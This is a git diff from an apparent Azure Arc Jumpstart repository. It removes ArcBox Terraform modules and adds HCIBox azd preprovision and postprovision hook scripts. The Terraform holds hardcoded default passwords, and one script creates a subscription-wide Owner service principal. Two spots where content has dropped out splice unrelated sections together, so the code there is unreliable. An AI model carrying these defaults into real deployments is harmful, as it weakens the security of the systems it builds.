local.template_base_url - depends_on = [ - azurerm_resource_group.rg, - module.management_artifacts, - module.management_storage - ] -} - -module "capi_vm" { - source = "./modules/kubernetes/ubuntuCapi" - count = contains(["Full", "DevOps", "DataOps"], var.deployment_flavor) ? 1 : 0 - - resource_group_name = azurerm_resource_group.rg.name - vm_name = var.capi_vm_name - virtual_network_name = var.virtual_network_name - subnet_name = var.subnet_name - template_base_url = local.template_base_url - storage_account_name = module.management_storage.storage_account_name - spn_client_id = var.spn_client_id - spn_client_secret = var.spn_client_secret - spn_tenant_id = var.spn_tenant_id - admin_username = var.client_admin_username - admin_ssh_key = var.client_admin_ssh - workspace_name = var.workspace_name - deploy_bastion = var.deploy_bastion - deployment_flavor = var.deployment_flavor - capi_arc_data_cluster_name = "${local.capi_arc_data_cluster_name}-${random_string.guid.result}" - - depends_on = [ - azurerm_resource_group.rg, - module.management_artifacts, - module.management_storage, - random_string.guid, - module.adds_vm - ] -} - -module "rancher_vm" { - source = "./modules/kubernetes/ubuntuRancher" - count = contains(["Full", "DevOps"], var.deployment_flavor) ? 1 : 0 - - resource_group_name = azurerm_resource_group.rg.name - vm_name = "${local.k3s_arc_data_cluster_name}-${random_string.guid.result}" - virtual_network_name = var.virtual_network_name - subnet_name = var.subnet_name - template_base_url = local.template_base_url - storage_account_name = module.management_storage.storage_account_name - spn_client_id = var.spn_client_id - spn_client_secret = var.spn_client_secret - spn_tenant_id = var.spn_tenant_id - admin_username = var.client_admin_username - admin_ssh_key = var.client_admin_ssh - workspace_name = var.workspace_name - deploy_bastion = var.deploy_bastion - - depends_on = [ - azurerm_resource_group.rg, - module.management_artifacts, - module.management_storage, - random_string.guid - ] -} - -module "aks_clusters" { - source = "./modules/kubernetes/aks" - count = var.deployment_flavor == "DataOps" ? 1 : 0 - - resource_group_name = azurerm_resource_group.rg.name - spn_client_id = var.spn_client_id - spn_client_secret = var.spn_client_secret - spn_tenant_id = var.spn_tenant_id - ssh_rsa_public_key = var.client_admin_ssh - aks_cluster_name = "${local.aks_arc_data_cluster_name}-${random_string.guid.result}" - aks_dr_cluster_name = "${local.aks_dr_arc_data_cluster_name}-${random_string.guid.result}" - - depends_on = [ - azurerm_resource_group.rg, - module.management_artifacts, - module.management_storage, - module.adds_vm - ] -} - -output "clientVmLogonUserName" { - value = var.deployment_flavor == "DataOps" ? "${var.client_admin_username}@${var.addsDomainName}" : null -} diff --git a/azure_jumpstart_arcbox/terraform/modules/clientVm/main.tf b/azure_jumpstart_arcbox/terraform/modules/clientVm/main.tf deleted file mode 100644 index 3280856a15..0000000000 --- a/azure_jumpstart_arcbox/terraform/modules/clientVm/main.tf +++ /dev/null @@ -1,291 +0,0 @@ -variable "resource_group_name" { - type = string - description = "Azure Resource Group" -} - -variable "vm_name" { - type = string - description = "The name of the client virtual machine." -} - -variable "capi_arc_data_cluster_name" { - type = string - description = "The name of the CAPI cluster" - default = "ArcBox-CAPI-Data" -} - -variable "k3s_arc_cluster_name" { - type = string - description = "The name of the K3s cluster" - default = "ArcBox-K3s" -} - -variable "aks_arc_data_cluster_name" { - type = string - description = "The name of the AKS cluster" - default = "ArcBox-AKS-Data" -} - -variable "aks_dr_arc_data_cluster_name" { - type = string - description = "The name of the AKS cluster" - default = "ArcBox-AKS-DR-Data" -} - -variable "os_sku" { - type = string - description = "The Windows version for the client VM." - default = "2022-datacenter-g2" -} - -variable "admin_username" { - type = string - description = "Username for the Windows client virtual machine." -} - -variable "admin_password" { - type = string - description = "Password for Windows admin account. Password must have 3 of the following: 1 lower case character, 1 upper case character, 1 number, and 1 special character. The value must be between 12 and 123 characters long." - sensitive = true -} - -variable "virtual_network_name" { - type = string - description = "ArcBox vNET name." -} - -variable "subnet_name" { - type = string - description = "ArcBox subnet name." -} - -variable "template_base_url" { - type = string - description = "Base URL for the GitHub repo where the ArcBox artifacts are located." -} - -variable "data_controller_username" { - type = string - description = "Arc Data Controller user name." - default = "arcdemo" -} - -variable "data_controller_password" { - type = string - description = "Arc Data Controller password" - default = "ArcPassword123!!" - sensitive = true -} - -variable "accept_eula" { - type = string - description = "Accept EULA for all ArcBox scripts." - default = "yes" -} - -variable "storage_account_name" { - type = string - description = "Name for the staging storage account used to hold kubeconfig." -} - -variable "workspace_name" { - type = string - description = "Log Analytics workspace name." -} - -variable "spn_client_id" { - type = string - description = "Arc Service Principal clientID." -} - -variable "spn_client_secret" { - type = string - description = "Arc Service Principal client secret." - sensitive = true -} - -variable "spn_tenant_id" { - type = string - description = "Arc Service Principal tenantID." -} - -variable "deployment_flavor" { - type = string - description = "The flavor of ArcBox you want to deploy. Valid values are: 'Full', 'ITPro', 'DevOps' and 'DataOps'." -} - -variable "github_username" { - type = string - description = "Specify a GitHub username for ArcBox DevOps" - default = "microsoft" -} - -variable "github_repo" { - type = string - description = "Specify a GitHub repo (used for testing purposes)" -} - -variable "github_branch" { - type = string - description = "Specify a GitHub branch (used for testing purposes)" -} - -variable "trigger_at_logon" { - type = bool - description = "Whether or not the automation scripts will trigger at log on, or at startup. True for AtLogon, False for AtStartup." - default = true -} - -variable "deploy_bastion" { - type = bool - description = "Choice to deploy Bastion to connect to the client VM" - default = false -} - -### THESE ARE LEGACY VARIABLES FOR BACKWARDS COMPATIBILITY WITH LEGACY SCRIPT FUNCTIONS ### - -variable "spn_authority" { - type = string - description = "Authority for Service Principal authentication" - default = "https://login.microsoftonline.com" -} - -variable "registry_username" { - type = string - description = "Registry username" - default = "registryUser" -} - -variable "registry_password" { - type = string - description = "Registry password" - default = "registrySecret" - sensitive = true -} - -variable "data_controller_name" { - type = string - description = "Arc Data Controller name." - default = "arcdatactrl" -} - -variable "sql_mi_name" { - type = string - description = "Arc Data Controller name." - default = "arcdatactrl" -} - -variable "postgres_name" { - type = string - description = "Name of PostgreSQL server group." - default = "arcpg" -} - -variable "postgres_worker_node_count" { - type = number - description = "Number of PostgreSQL worker nodes." - default = 3 -} - -variable "postgres_data_size" { - type = number - description = "Size of data volumes in MB." - default = 1024 -} - -variable "postgres_service_type" { - type = string - description = "How PostgreSQL service is accessed through Kubernetes CNI." - default = "LoadBalancer" -} -########################################################################################### - -locals { - bastion_name = "ArcBox-Bastion" - public_ip_name = var.deploy_bastion == false ? "${var.vm_name}-PIP" : "${local.bastion_name}-PIP" - network_interface_name = "${var.vm_name}-NIC" - bastionSubnetIpPrefix = "172.16.3.64/26" -} - -data "azurerm_subscription" "primary" { -} - -data "azurerm_resource_group" "rg" { - name = var.resource_group_name -} - -data "azurerm_subnet" "subnet" { - name = var.subnet_name - virtual_network_name = var.virtual_network_name - resource_group_name = data.azurerm_resource_group.rg.name -} - -resource "azurerm_public_ip" "pip" { - count = var.deploy_bastion == false ? 1: 0 - name = local.public_ip_name - resource_group_name = data.azurerm_resource_group.rg.name - location = data.azurerm_resource_group.rg.location - allocation_method = "Static" -} - -resource "azurerm_network_interface" "nic" { - name = local.network_interface_name - location = data.azurerm_resource_group.rg.location - resource_group_name = data.azurerm_resource_group.rg.name - - ip_configuration { - name = "ipconfig1" - subnet_id = data.azurerm_subnet.subnet.id - private_ip_address_allocation = "Dynamic" - public_ip_address_id = var.deploy_bastion == false ? azurerm_public_ip.pip[0].id : null - } -} -resource "azurerm_virtual_machine" "client" { - name = var.vm_name - location = data.azurerm_resource_group.rg.location - resource_group_name = data.azurerm_resource_group.rg.name - network_interface_ids = [ azurerm_network_interface.nic.id ] - vm_size = var.deployment_flavor == "DevOps" ? "Standard_B4ms" : var.deployment_flavor == "DataOps" ? "Standard_D8s_v4" : "Standard_D16s_v4" - - - storage_image_reference { - publisher = "MicrosoftWindowsServer" - offer = "WindowsServer" - sku = var.os_sku - version = "latest" - } - storage_os_disk { - name = "${var.vm_name}-OS_Disk" - caching = "ReadWrite" - create_option = "FromImage" - managed_disk_type = "Premium_LRS" - disk_size_gb = 1024 - } - os_profile { - computer_name = var.vm_name - admin_username = var.admin_username - admin_password = var.admin_password - } - os_profile_windows_config { - provision_vm_agent = true - enable_automatic_upgrades = false - } -} - -resource "azurerm_virtual_machine_extension" "custom_script" { - name = var.vm_name - virtual_machine_id = azurerm_virtual_machine.client.id - publisher = "Microsoft.Compute" - type = "CustomScriptExtension" - type_handler_version = "1.10" - auto_upgrade_minor_version = true - - settings = < v - if contains(v.flavor, var.deployment_flavor) - } - solution_name = each.value.name - location = data.azurerm_resource_group.rg.location - resource_group_name = data.azurerm_resource_group.rg.name - workspace_resource_id = azurerm_log_analytics_workspace.workspace.id - workspace_name = azurerm_log_analytics_workspace.workspace.name - - plan { - publisher = "Microsoft" - product = "OMSGallery/${each.value.name}" - } -} - -resource "azurerm_public_ip" "publicIpAddress" { - count = var.deploy_bastion == true ? 1 : 0 - resource_group_name = data.azurerm_resource_group.rg.name - name = local.bastionPublicIpAddressName - location = data.azurerm_resource_group.rg.location - allocation_method = "Static" - ip_version = "IPv4" - idle_timeout_in_minutes = 4 - sku = "Standard" - -} - -resource "azurerm_bastion_host" "bastionHost" { - name = local.bastionName - location = data.azurerm_resource_group.rg.location - resource_group_name = data.azurerm_resource_group.rg.name - count = var.deploy_bastion == true ? 1 : 0 - depends_on = [ - azurerm_public_ip.publicIpAddress - ] - ip_configuration { - name = "IpConf" - public_ip_address_id = azurerm_public_ip.publicIpAddress[0].id - subnet_id = azurerm_subnet.AzureBastionSubnet[0].id - } - -} - -output "workspace_id" { - value = azurerm_log_analytics_workspace.workspace.id -} diff --git a/azure_jumpstart_arcbox/terraform/modules/mgmt/mgmtPolicy/main.tf b/azure_jumpstart_arcbox/terraform/modules/mgmt/mgmtPolicy/main.tf deleted file mode 100644 index e409f9dbb9..0000000000 --- a/azure_jumpstart_arcbox/terraform/modules/mgmt/mgmtPolicy/main.tf +++ /dev/null @@ -1,103 +0,0 @@ -variable "resource_group_name" { - type = string - description = "Azure Resource Group" -} - -variable "workspace_name" { - type = string - description = "Log Analytics workspace name." -} - -variable "workspace_id" { - type = string - description = "Log Analytics workspace id." -} - -variable "deployment_flavor" { - type = string - description = "The flavor of ArcBox you want to deploy. Valid values are: 'Full', 'ITPro', and 'DevOps'." -} - -locals { - policies = [ - { - name = "(ArcBox) Enable Azure Monitor for Hybrid VMs with AMA" - id = "/providers/Microsoft.Authorization/policySetDefinitions/59e9c3eb-d8df-473b-8059-23fd38ddd0f0" - params = { "logAnalyticsWorkspace": { "value": "${var.workspace_id}" }} - role = [ "Log Analytics Contributor", "Azure Connected Machine Resource Administrator", "Monitoring Contributor" ] - flavor = [ "Full", "ITPro" ] - }, - { - name = "(ArcBox) Tag resources" - id = "/providers/Microsoft.Authorization/policyDefinitions/4f9dc7db-30c1-420c-b61a-e1d640128d26" - params = { "tagName": { "value": "project" }, "tagValue": { "value": "jumpstart_arcbox" }} - role = "Tag Contributor" - flavor = [ "Full", "DevOps", "ITPro" , "DataOps" ] - }, - { - name = "(ArcBox) Enable Azure Defender on Kubernetes clusters" - id = "/providers/Microsoft.Authorization/policyDefinitions/708b60a6-d253-4fe0-9114-4be4c00f012c" - params = {} - role = "Log Analytics Contributor" - flavor = [ "Full", "DevOps" ] - } - ] -} - -data "azurerm_subscription" "primary" { -} - -data "azurerm_resource_group" "rg" { - name = var.resource_group_name -} - -resource "azurerm_resource_group_policy_assignment" "policies" { - for_each = { for i, v in local.policies: i => v - if contains(v.flavor, var.deployment_flavor) - } - name = each.value.name - location = data.azurerm_resource_group.rg.location - resource_group_id = data.azurerm_resource_group.rg.id - policy_definition_id = each.value.id - identity { - type = "SystemAssigned" - } - parameters = </dev/null) +if [ -n "$ip" ]; then + echo -e "You can now connect to the client VM using the following command: \033[0;32mmstsc /v:$ip:$rdpPort\033[0m" + echo "Remember to use the Windows admin user name [$JS_WINDOWS_ADMIN_USERNAME] and the password you specified." +fi \ No newline at end of file diff --git a/azure_jumpstart_hcibox/scripts/preprovision.ps1 b/azure_jumpstart_hcibox/hooks/preprovision.ps1 similarity index 90% rename from azure_jumpstart_hcibox/scripts/preprovision.ps1 rename to azure_jumpstart_hcibox/hooks/preprovision.ps1 index 57d1d58987..7626f0d5fe 100644 --- a/azure_jumpstart_hcibox/scripts/preprovision.ps1 +++ b/azure_jumpstart_hcibox/hooks/preprovision.ps1 @@ -185,6 +185,33 @@ $spnProviderId=$(az ad sp list --display-name "Microsoft.AzureStackHCI" --output throw "Microsoft.AzureStackHCI provider id not found" } + +######################################################################## +# Automatically deploy cluster? +######################################################################## +$promptOutput = Read-Host "Configure automatic Azure Stack HCI cluster validation and creation? [Y/N] " +$JS_AUTO_DEPLOY_CLUSTER_RESOURCE = $false +if ($promptOutput -like 'y') +{ + $JS_AUTO_DEPLOY_CLUSTER_RESOURCE = $true +} + +# set the env variable +azd env set JS_AUTO_DEPLOY_CLUSTER_RESOURCE $JS_AUTO_DEPLOY_CLUSTER_RESOURCE + +######################################################################## +# Automatically upgrade cluster? +######################################################################## +$promptOutput = Read-Host "Automatically download and install updates to cluster nodes if available? [Y/N] " +$JS_AUTO_UPGRADE_CLUSTER_RESOURCE = $false +if ($promptOutput -like 'y') +{ + $JS_AUTO_UPGRADE_CLUSTER_RESOURCE = $true +} + +# set the env variable +azd env set JS_AUTO_UPGRADE_CLUSTER_RESOURCE $JS_AUTO_UPGRADE_CLUSTER_RESOURCE + ######################################################################## # Create Azure Service Principal ######################################################################## diff --git a/azure_jumpstart_hcibox/hooks/preprovision.sh b/azure_jumpstart_hcibox/hooks/preprovision.sh new file mode 100755 index 0000000000..6135974bd3 --- /dev/null +++ b/azure_jumpstart_hcibox/hooks/preprovision.sh @@ -0,0 +1,138 @@ +#!/bin/bash + +# Register providers +echo "Registering Azure providers..." +az provider register --namespace Microsoft.HybridCompute --wait +az provider register --namespace Microsoft.GuestConfiguration --wait +az provider register --namespace Microsoft.Kubernetes --wait +az provider register --namespace Microsoft.KubernetesConfiguration --wait +az provider register --namespace Microsoft.ExtendedLocation --wait +az provider register --namespace Microsoft.AzureArcData --wait +az provider register --namespace Microsoft.OperationsManagement --wait +az provider register --namespace Microsoft.AzureStackHCI --wait +az provider register --namespace Microsoft.ResourceConnector --wait +az provider register --namespace Microsoft.OperationalInsights --wait + +# check for available capacity +echo "Checking for available capacity in $AZURE_LOCATION region..." + +sku="Standard_E32s_v5" +family="standardESv5Family" +minCores=32 # 32 vCPUs required for standard deployment with E32s v5 +available=$(az vm list-skus --location $AZURE_LOCATION --all --query "[?family=='$family'].capabilities[0][?name=='vCPUs'].value" -o tsv) + +if [[ $available -lt $minCores ]]; then + echo "There is not enough VM capacity in the $location region to deploy the Jumpstart environment. Exiting..." + exit 1 +fi + +# check for sku restriction +restriction=$(az vm list-skus --location $AZURE_LOCATION --all --query "[?name=='$sku'].restrictions[0].reasonCode" -o tsv) +if [[ $restriction == "NotAvailableForSubscription" ]]; then + echo "There is a restriction in the $AZURE_LOCATION region to deploy the required VM SKU. Exiting..." + exit 1 +fi + + +JS_WINDOWS_ADMIN_USERNAME='arcdemo' +read -p "Enter the Windows Admin Username [$JS_WINDOWS_ADMIN_USERNAME]: " promptOutput + +if [ -n "$promptOutput" ]; then + JS_WINDOWS_ADMIN_USERNAME=$promptOutput +fi +# set the env variable + +azd env set JS_WINDOWS_ADMIN_USERNAME $JS_WINDOWS_ADMIN_USERNAME + +######################################################################## +# Use Azure Bastion? +######################################################################## +read -p "Configure Azure Bastion for accessing HCIBox host [Y/N]? " promptOutput +JS_DEPLOY_BASTION=false +if [[ $promptOutput == "Y" ]] || [[ $promptOutput == "y" ]]; then + JS_DEPLOY_BASTION=true +fi + +# set the env variable +azd env set JS_DEPLOY_BASTION $JS_DEPLOY_BASTION + + + +######################################################################## +# RDP Port +######################################################################## +JS_RDP_PORT='3389' +if [ -n "$JS_RDP_PORT" ]; then + JS_RDP_PORT=$JS_RDP_PORT +else + JS_RDP_PORT='3389' # Default value if not previously set +fi + +read -p "Enter the RDP Port for remote desktop connection [$JS_RDP_PORT]: " promptOutput + +if [[ -n "$promptOutput" ]]; then + JS_RDP_PORT=$promptOutput +fi + +azd env set JS_RDP_PORT $JS_RDP_PORT + +######################################################################## +# Microsoft.AzureStackHCI provider ID +######################################################################## +echo "Attempting to retrieve Microsoft.AzureStackHCI provider id..." +spnProviderId=$(az ad sp list --display-name "Microsoft.AzureStackHCI" --query [0].id -o tsv) +if [ -n "$spnProviderId" ]; then + # Set the environment variable + azd env set SPN_PROVIDER_ID $spnProviderId +else + # Print warning and advice + echo "Warning: Microsoft.AzureStackHCI provider id not found, aborting..." + echo "Consider the following options:" + echo "1) Request access from a tenant administrator to get read-permissions to service principals." + echo "2) Ask a tenant administrator to run the command 'az ad sp list --display-name \"Microsoft.AzureStackHCI\" --output json | jq -r '.[].id'' and send you the ID from the output. You can then manually add that value to the AZD .env file: SPN_PROVIDER_ID=\"xxx\" or use the Bicep-based deployment specifying spnProviderId=\"xxx\" in the deployment parameter-file." + exit 1 +fi + +######################################################################## +# Autodeploy cluster? +######################################################################## +read -p "Configure automatic Azure Stack HCI cluster validation and creation? [Y/N] " promptOutput +JS_AUTO_DEPLOY_CLUSTER_RESOURCE=false +if [[ $promptOutput == "Y" ]] || [[ $promptOutput == "y" ]]; then + JS_AUTO_DEPLOY_CLUSTER_RESOURCE=true +fi + +# set the env variable +azd env set JS_AUTO_DEPLOY_CLUSTER_RESOURCE $JS_AUTO_DEPLOY_CLUSTER_RESOURCE + +######################################################################## +# Auto upgradecluster? +######################################################################## +read -p "Automatically download and install updates to cluster nodes if available? [Y/N] " promptOutput +JS_AUTO_UPGRADE_CLUSTER_RESOURCE=false +if [[ $promptOutput == "Y" ]] || [[ $promptOutput == "y" ]]; then + JS_AUTO_UPGRADE_CLUSTER_RESOURCE=true +fi + +# set the env variable +azd env set JS_AUTO_UPGRADE_CLUSTER_RESOURCE $JS_AUTO_UPGRADE_CLUSTER_RESOURCE + +######################################################################## +# Create Azure Service Principal +######################################################################## +echo "Checking for existing stored Azure service principal..." +if [ -n "$SPN_CLIENT_ID" ]; then + echo "Using existing Azure service principal..." +else + echo "Creating Azure service principal..." + spn=$(az ad sp create-for-rbac --name "http://AzureArcJumpstart" --role "Owner" --scopes "/subscriptions/$AZURE_SUBSCRIPTION_ID") + spnClientId=$(echo $spn | jq -r .appId) + spnClientSecret=$(echo $spn | jq -r .password) + spnTenantId=$(echo $spn | jq -r .tenant) + spnObjectId=$(az ad sp show --id $spnClientId --query id -o tsv) + # Set the environment variables + azd env set SPN_CLIENT_ID $spnClientId + azd env set SPN_CLIENT_SECRET $spnClientSecret + azd env set SPN_TENANT_ID $spnTenantId + azd env set SPN_OBJECT_ID $spnObjectId +fi